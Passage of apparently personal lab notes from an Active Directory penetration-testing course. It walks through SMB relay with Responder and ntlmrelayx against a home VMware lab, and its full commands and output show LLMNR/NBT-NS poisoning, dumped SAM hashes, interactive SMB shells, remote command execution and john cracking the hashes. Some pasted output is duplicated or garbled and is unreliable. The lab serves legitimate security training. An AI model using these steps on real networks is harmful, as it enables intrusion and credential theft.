[*] Protocol Client IMAPS loaded.. yes mptls
[*] Protocol Client LDAPS loaded.. no HTTP
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server no

```

SMB Relay


Step 3: Set up your relay

`sudo ntlmrelayx.py -tf targets.txt -smb2support`

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Here is what is going to happen if we are luck, Responder will catch the hash, forward it to the Ntlmrelayx.py. Then, Ntlmrelay.py will forward that hash to the target selected. "If we are a local administrator on the machine with the hash we captured, we will get some win.".

For this to happen, we need an event to occur. This is going to be similar to the previous lab, where we pointed our Request to the wrong domain.



A screenshot of a terminal window displaying SMB relay results. The output shows the tool authenticating against `smb://10.0.0.35` as `MARVEL\fcastle`, enabling the `RemoteRegistry` service, and dumping local SAM hashes for various accounts. The hashes are listed in a format like `username:hash`. The TCM Security logo is in the top right corner.

```
[*] Authenticating against smb://10.0.0.35 as MARVEL\fcastle SUCCEED
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x60a74a27f6fe13fdde77ab1994e3a9424
[*] Target system bootKey: 0x60a74a27f6fe13fdde77ab1994e3a9424
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:db310d981df37b942c5d3c19e43849c4 :::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:db310d981df37b942c5d3c19e43849c4 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:11ba4cb6993d434d8dbba9ba45fd9011 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:11ba4cb6993d434d8dbba9ba45fd9011 :::
```

SMB Relay
Step 5: Win

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Other wins:

In this way, we get an interactive shell.

```
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 10.0.0.25, attacking target smb://10.0.0.35
[*] Authenticating against smb://10.0.0.35 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[*] SMBD-Thread-5: Received connection from 10.0.0.25, attacking target smb://10.0.0.35
[*] Authenticating against smb://10.0.0.35 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
```

SMB Relay

Other Wins

`sudo ntlmrelayx.py -tf targets.txt --smb2support -i`

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```
(kali㉿kali)-[~]
$ nc 127.0.0.1 11000
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
# ls
drw-rw-rw-      0 Wed Jul 19 00:56:34 2023 $Recycle.Bin
-rw-rw-rw-  413738 Wed Apr  7 14:58:48 2021 bootmgr
-rw-rw-rw-      1 Wed Apr  7 14:58:48 2021 BOOTNXT
drw-rw-rw-      0 Wed Apr  7 14:02:34 2021 Documents and Settings
-rw-rw-rw-    8192 Wed Jul 19 12:51:01 2023 DumpStack.log.tmp
-rw-rw-rw- 738197504 Wed Jul 19 12:51:01 2023 pagefile.sys
drw-rw-rw-      0 Wed Apr  7 15:00:10 2021 PerfLogs
drw-rw-rw-      0 Mon Apr 12 20:26:24 2021 Program Files
drw-rw-rw-      0 Wed Apr  7 16:42:32 2021 Program Files (x86)
drw-rw-rw-      0 Wed Jul 19 00:55:03 2023 ProgramData
drw-rw-rw-      0 Wed Apr  7 14:02:36 2021 Recovery
-rw-rw-rw- 268435456 Wed Jul 19 12:51:01 2023 swapfile.sys
drw-rw-rw-      0 Wed Apr  7 14:04:39 2021 System Volume Information
drw-rw-rw-      0 Wed Jul 19 00:55:11 2023 Users
drw-rw-rw-      0 Mon Apr 12 20:35:03 2021 Windows
#
```

SMB Relay

Other Wins

`nc 127.0.0.1 11000`

TCM Security

We can also run commands:

```
[*] Authenticating against smb://10.0.0.35 as MARVEL\fcastle SUCCEED
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Executed specified command on host: 10.0.0.35
[*] Executed specified command on host: 10.0.0.35
[-] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened
    compatible.)
    nt authority\system
```

SMB Relay

Other Wins

`sudo ntlmrelayx -tf targets.txt --smb2support -c "whoami"`

90.06 - SMB Relay Attacks - Lab

Always make sure you are in the same network as the target.

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b8:6e:5b, IPv4: 192.168.163.133
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.1 00:50:56:c0:00:08 VMware, Inc.
192.168.163.2 00:50:56:fa:89:5f VMware, Inc.
192.168.163.156 00:0c:29:51:00:ae VMware, Inc.
192.168.163.157 00:0c:29:92:2e:29 VMware, Inc.
192.168.163.158 00:0c:29:70:8f:1a VMware, Inc.
192.168.163.254 00:50:56:e2:fe:b8 VMware, Inc.

90 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.104 seconds (121.67 hosts/sec). 6 responded
```

First thing is to probe for that vulnerability:

Remember we are enumerating Windows machine, and Windows does not respond to ping by default, so we need to run with the "-Pn" flag for Nmap not to expect SYN/ACK confirmation to scan.

We run: "#sudo nmap --script=smb2-security-mode.nse -p 445 -Pn IP_ADDRESS

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ sudo nmap --script=smb2-security-mode.nse -p 445 -Pn 192.168.163.156-158 -oN nmap-scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 15:32 EDT
Nmap scan report for 192.168.163.156
Host is up (0.00025s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:51:00:AE (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_ 192.168.163.156 Message signing enabled and required

Nmap scan report for 192.168.163.157
Host is up (0.00020s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:92:2E:29 (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_ 192.168.163.157 Message signing enabled but not required

Nmap scan report for 192.168.163.158
Host is up (0.00030s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:70:8F:1A (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_ 192.168.163.158 Message signing enabled but not required

Nmap done: 3 IP addresses (3 hosts up) scanned in 0.41 seconds
```

Domain controller is out of scope for this, as "Message signing enabled and required." results show. But, both the Client machines should be vulnerable to this attack.

Now, we need to configure Responder. That is going to be on "/etc/responder/Responder.conf" path.

Switch SMB and HTTP to "Off". Line 5 and 12.

Now, lets run Responder.

```
#sudo responder -i eth0 -dwPv"
```

Actually, this command does not work. We need to use the "P" or the "w" flag, but not both together.

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ sudo responder -I eth0 -dwPv

NBT-NS, LLMNR & MDNS Responder 3.1.4.0

To support this project:
Github → https://github.com/sponsors/lgandx
Paypal → https://paypal.me/PythonResponderActive...
PracticalEth...

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

You cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.
```

After starting Responder, we need to start the ntlmrelayx.py to relay the credentials to the target we set up.

-make a file with the ip addresses that are being targeted, in this case both clients ip address.

Then, we can issue:

```
"#ntlmrelayx.py -tf targets.txt -smb2support"    We could also use it to issue a command in the target
system by adding "-c "whoami" ".
```

Now, we need an event to occur.

For that, we are going to use frank account, PC name THEROBOT.

Open File Explorer > Network (On the left menu) > Make a request to the attacker machine IP Address by typing the that IP Address on the top box where says "Network". You will need to put two backslashes before the IP Address ("\\"192.168.163.133").

It will prompt you to enter credentials to validate the request. It worked for me with LMonkey from Client_2 (THENAVIGATOR), Frank from Client_1 (THEROBOT), . Then, I had to put the admin credentials. But, it looks like it worked.

```
[(kali㉿kali) :~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ ntlmrelayx.py -tf targets.txt -smbsupport
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/openssl-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[+] SMBD-Thread-3: Received connection from 192.168.163.150, attacking target smb://192.168.163.158
[*] SMBD-Thread-4: Received connection from 192.168.163.158 as THEROBOT\frank FAILED
[*] SMBD-Thread-4: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as THEROBOT\frank FAILED
[*] SMBD-Thread-5: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as THEROBOT\frank FAILED
[*] SMBD-Thread-6: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as THEROBOT\frank FAILED
[*] SMBD-Thread-7: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as THEROBOT\administrator FAILED
[*] SMBD-Thread-8: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\administrator SUCCED
[*] SMBD-Thread-9: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Service RemoteRegistry is stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 9xb41464870cb3c2d2c2e488624db6d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc08ed1680c4fd148319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c05daf226c55fb7a8a014e6224cf55f5 :::
Frank:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
[*] Done dumping SAM hashes for host: 192.168.163.157
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
[*] SMBD-Thread-10: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as THEROBOT\frank FAILED
```

```
[*] Done dumping SAM hashes for host: 192.168.163.157
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
[+] SMBD-Thread-10: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as THEROBOT\frank FAILED
[*] SMBD-Thread-11: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as THEROBOT\frank FAILED
[*] SMBD-Thread-12: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as ONEPIECE\nami FAILED
[*] SMBD-Thread-13: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\frank FAILED
[*] SMBD-Thread-14: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\frank FAILED
[*] SMBD-Thread-15: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\administrator SUCCED
[*] Service RemoteRegistry is stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 9xb41464870cb3c2d2c2e488624db6d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c05daf226c55fb7a8a014e6224cf55f5 :::
Frank:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
[*] Done dumping SAM hashes for host: 192.168.163.157
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

The following are for LMonkey account from THENAVIGATOR. The only account that worked from THENAVIGATOR besides DC credentials.

```
[*] Service RemoteRegistry is in stopped state
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\LMonkey FAILED
[*] Service RemoteRegistry is disabled, enabling it
[*] HTTPD: Received connection from 192.168.163.157, attacking target smb://192.168.163.158
[*] HTTPD: Client requested path: /
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x84a73cabef949dc6711a7fc93dfa9d8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c05daf226c55fb7a8a014e6224cf55f5 :::
Frank:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
[*] Done dumping SAM hashes for host: 192.168.163.158
```

From Administrator account from THEROBOT, we can see Nami password hash, which is in the other computer, THENAVIGATOR.

```

[*] Authenticating against smb://192.168.163.158 as \THEROBOT\RemoteRegistry
[*] SMBD-Thread-43: Received connection from 192.168.163.158, attacking target smb://192.168.163.157
[*] Authenticating against smb://192.168.163.157 as THEROBOT\Administrator SUCCEED
[*] SMBD-Thread-45: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Service RemoteRegistry is in stopped state
[-] Authenticating against smb://192.168.163.158 as THEROBOT\Administrator FAILED
[*] Service RemoteRegistry is disabled, enabling it
[*] SMBD-Thread-46: Received connection from 192.168.163.158, attacking target smb://192.168.163.157
[*] Starting service RemoteRegistry
[*] Authenticating against smb://192.168.163.157 as THEROBOT\Administrator SUCCEED
[*] Target system bootKey: 0x7b414e64870cb3cd2a2ce4886624db6d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:623da614e6f4d31aa13c7702d889988d :::
nami:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
[*] Done dumping SAM hashes for host: 192.168.163.157
[*] Target system bootKey: 0x7b414e64870cb3cd2a2ce4886624db6d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:623da614e6f4d31aa13c7702d889988d :::
nami:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
[*] Done dumping SAM hashes for host: 192.168.163.157
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

```

[+] Listening for events ...

```

[!] Error starting TCP server on port 389, check permissions or other servers running.
[*] [DHCP] Found DHCP server IP: 192.168.163.254, now waiting for incoming requests ...
[*] [MDNS] Poisoned answer sent to 192.168.163.158 for name THEROBOT.local
[*] [LLMNR] Poisoned answer sent to fe80::d94e:b31f:6c31:591b for name THEROBOT
[*] [LLMNR] Poisoned answer sent to 192.168.163.158 for name THEROBOT
[*] [MDNS] Poisoned answer sent to fe80::d94e:b31f:6c31:591b for name THEROBOT.local
[*] [NBT-NS] Poisoned answer sent to 192.168.163.157 for name ONEPIECE (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.163.157 for name ONEPIECE (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 192.168.163.157 for name THENAVIGATOR.local
[*] [MDNS] Poisoned answer sent to fe80::fcdd:8955:ae67:2d43 for name THENAVIGATOR.local
[*] [LLMNR] Poisoned answer sent to fe80::fcdd:8955:ae67:2d43 for name THENAVIGATOR
[*] [LLMNR] Poisoned answer sent to 192.168.163.157 for name THENAVIGATOR
[*] [NBT-NS] Poisoned answer sent to 192.168.163.157 for name THENAVIGATOR (service: Domain Controller)
[*] [MDNS] Poisoned answer sent to 192.168.163.158 for name THEROBOT.local
[*] [MDNS] Poisoned answer sent to fe80::d94e:b31f:6c31:591b for name THEROBOT.local
[*] [LLMNR] Poisoned answer sent to fe80::d94e:b31f:6c31:591b for name THEROBOT
[*] [LLMNR] Poisoned answer sent to 192.168.163.158 for name THEROBOT
[*] [NBT-NS] Poisoned answer sent to 192.168.163.158 for name ONEPIECE (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 192.168.163.158 for name ONEPIECE (service: Browser Election)
[*] [NBT-NS] Poisoned answer sent to 192.168.163.1 for name LAPTOP-QIRI11VB (service: Domain Controller)
[*] [MDNS] Poisoned answer sent to 192.168.163.157 for name THENAVIGATOR.local
[*] [MDNS] Poisoned answer sent to fe80::fcdd:8955:ae67:2d43 for name THENAVIGATOR.local
[*] [LLMNR] Poisoned answer sent to fe80::fcdd:8955:ae67:2d43 for name THENAVIGATOR
[*] [LLMNR] Poisoned answer sent to 192.168.163.157 for name THENAVIGATOR

```

So, we receive the request from a computer, we forward that request to get the credentials of the next computer receiving the request. Something along those lines?

Now, we have the hashes. It is just a matter of cracking it. Many options here. Chose the most adequate. Remember, these are windows hashes.

```

└─(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ sudo john --format=nt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1      (frank)
                (Guest)
Password1!     (Administrator)
3g 0:00:00:01 DONE (2024-09-29 17:56) 2.727g/s 13039Kp/s 13039Kc/s 26246KC/s      markinho..*7;Vamos!
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

```

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ cat hashes.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c05daf226c55fb7a8a014e6224cf55f5 :::
frank:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:623da614e6f4d31aa13c7702d889988d :::
nami:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b :::
```

Nami did not get cracked.

We can use the "#ntlmrelayx.py -tf targets.txt -smb2support -i" command to spam an interactive SMB client shell via TCP on localhost.

The scenario would be the same. An event would need to occur. Make the request from one of the accounts mentioned above, and you should see the interactive shell.

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ ntlmrelayx.py -tf targets.txt -smb2support -i
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[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/offsec-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenGL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as THEROBOT\Administrator FAILED
[*] SMBD-Thread-4: Received connection from 192.168.163.158, attacking target smb://192.168.163.157
[*] Authenticating against smb://192.168.163.157 as THEROBOT\Administrator SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[*] SMBD-Thread-6: Received connection from 192.168.163.158, attacking target smb://192.168.163.158
[-] Authenticating against smb://192.168.163.158 as THEROBOT\Administrator FAILED
[*] SMBD-Thread-7: Received connection from 192.168.163.158, attacking target smb://192.168.163.157
[*] Authenticating against smb://192.168.163.157 as THEROBOT\Administrator SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
```

Now, we would need to bind to that because it is already in the localhost.

We can issue the command:

```
#nc 127.0.0.1 11000
```

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ sudo nc 127.0.0.1 11000
[sudo] password for kali:
Type help for list of commands
# helpone      exploit       BoletCTF      TCM-Active...
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)

htapayload...  passwords.txt  AgentSudo
# whoami
*** Unknown syntax: whoami
# id
*** Unknown syntax: id
# who
host: \\192.168.163.133, user: Administrator, active: 219, idle: 0
host: \\192.168.163.133, user: Administrator, active: 219, idle: 219
# █
```

```
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
```

```
# whoami
*** Unknown syntax: whoami
# id
*** Unknown syntax: id
# who
host: \\192.168.163.133, user: Administrator, active: 219, idle: 0
host: \\192.168.163.133, user: Administrator, active: 219, idle: 219
# shares
ADMIN$
```

IPC\$

```
# use C
# use C$
# ls \\168.163.133\ADMIN$
```

File	Size	Last Modified	Attributes
\$Recycle.Bin	0	Sun Sep 29 16:04:18 2024	drw-rw-rw-
\$WinREAgent	0	Sun Sep 29 13:09:08 2024	drw-rw-rw-
Documents and Settings	0	Sat Sep 28 01:35:38 2024	drw-rw-rw-
DumpStack.log	8192	Sun Sep 29 13:38:25 2024	-rw-rw-rw-
DumpStack.log.tmp	8192	Sun Sep 29 15:15:27 2024	-rw-rw-rw-
pagefile.sys	2013265920	Sun Sep 29 15:15:27 2024	-rw-rw-rw-
PerfLogs	0	Sat Sep 28 02:31:23 2024	drw-rw-rw-
Program Files	0	Sun Sep 29 13:08:41 2024	drw-rw-rw-
Program Files (x86)	0	Sat Sep 28 02:31:23 2024	drw-rw-rw-
ProgramData	0	Sat Sep 28 22:47:17 2024	drw-rw-rw-
Recovery	0	Sat Sep 28 01:33:30 2024	drw-rw-rw-
swapfile.sys	16777216	Sun Sep 29 15:15:27 2024	-rw-rw-rw-
System Volume Information	0	Fri Sep 27 23:35:46 2024	drw-rw-rw-
Users	0	Sun Sep 29 16:03:59 2024	drw-rw-rw-
Windows	0	Sun Sep 29 13:38:26 2024	drw-rw-rw-
Windows.old	0	Sat Sep 28 01:35:07 2024	drw-rw-rw-
File	Size	Last Modified	Attributes
.	0	Sun Sep 29 16:03:59 2024	drw-rw-rw-
..	0	Sun Sep 29 16:03:59 2024	drw-rw-rw-
administrator	0	Sat Sep 28 22:53:08 2024	drw-rw-rw-
All Users	0	Sat Sep 28 02:31:39 2024	drw-rw-rw-
Default	0	Sat Sep 28 01:35:38 2024	drw-rw-rw-
Default User	0	Sat Sep 28 02:31:39 2024	-rw-rw-rw-
desktop.ini	174	Sat Sep 28 02:26:48 2024	-rw-rw-rw-
LMonkey	0	Sun Sep 29 16:05:05 2024	drw-rw-rw-
nami	0	Fri Sep 27 23:44:29 2024	drw-rw-rw-
Public	0	Fri Sep 27 23:42:52 2024	drw-rw-rw-

Another possibility here would be to issue a command with the ntlmrelayx.py, just as proof of concept.

We can also issue a command in the ntlmrelayx.py, but I could not make it work :

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ ntlmrelayx.py -tf targets.txt -smb2support -c "systeminfo"
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[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.163.157, attacking target smb://192.168.163.158
[*] Authenticating against smb://192.168.163.158 as ONEPIECE\LMonkey SUCCEED
[*] SMBD-Thread-5: Received connection from 192.168.163.157, attacking target smb://192.168.163.157
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\LMonkey FAILED
[*] SMBD-Thread-6: Received connection from 192.168.163.157, attacking target smb://192.168.163.158
[*] Authenticating against smb://192.168.163.158 as ONEPIECE\LMonkey SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[-] SCMR SessionError: code: 0x420 - ERROR_SERVICE_ALREADY_RUNNING - An instance of the service is already running.
[*] Executed specified command on host: 192.168.163.158
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

htaPayload... passwords.txt AgentSudo

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.163.157, attacking target smb://192.168.163.158
[*] Authenticating against smb://192.168.163.158 as ONEPIECE\LMonkey SUCCEED
[*] SMBD-Thread-5: Received connection from 192.168.163.157, attacking target smb://192.168.163.157
[-] Authenticating against smb://192.168.163.157 as ONEPIECE\LMonkey FAILED
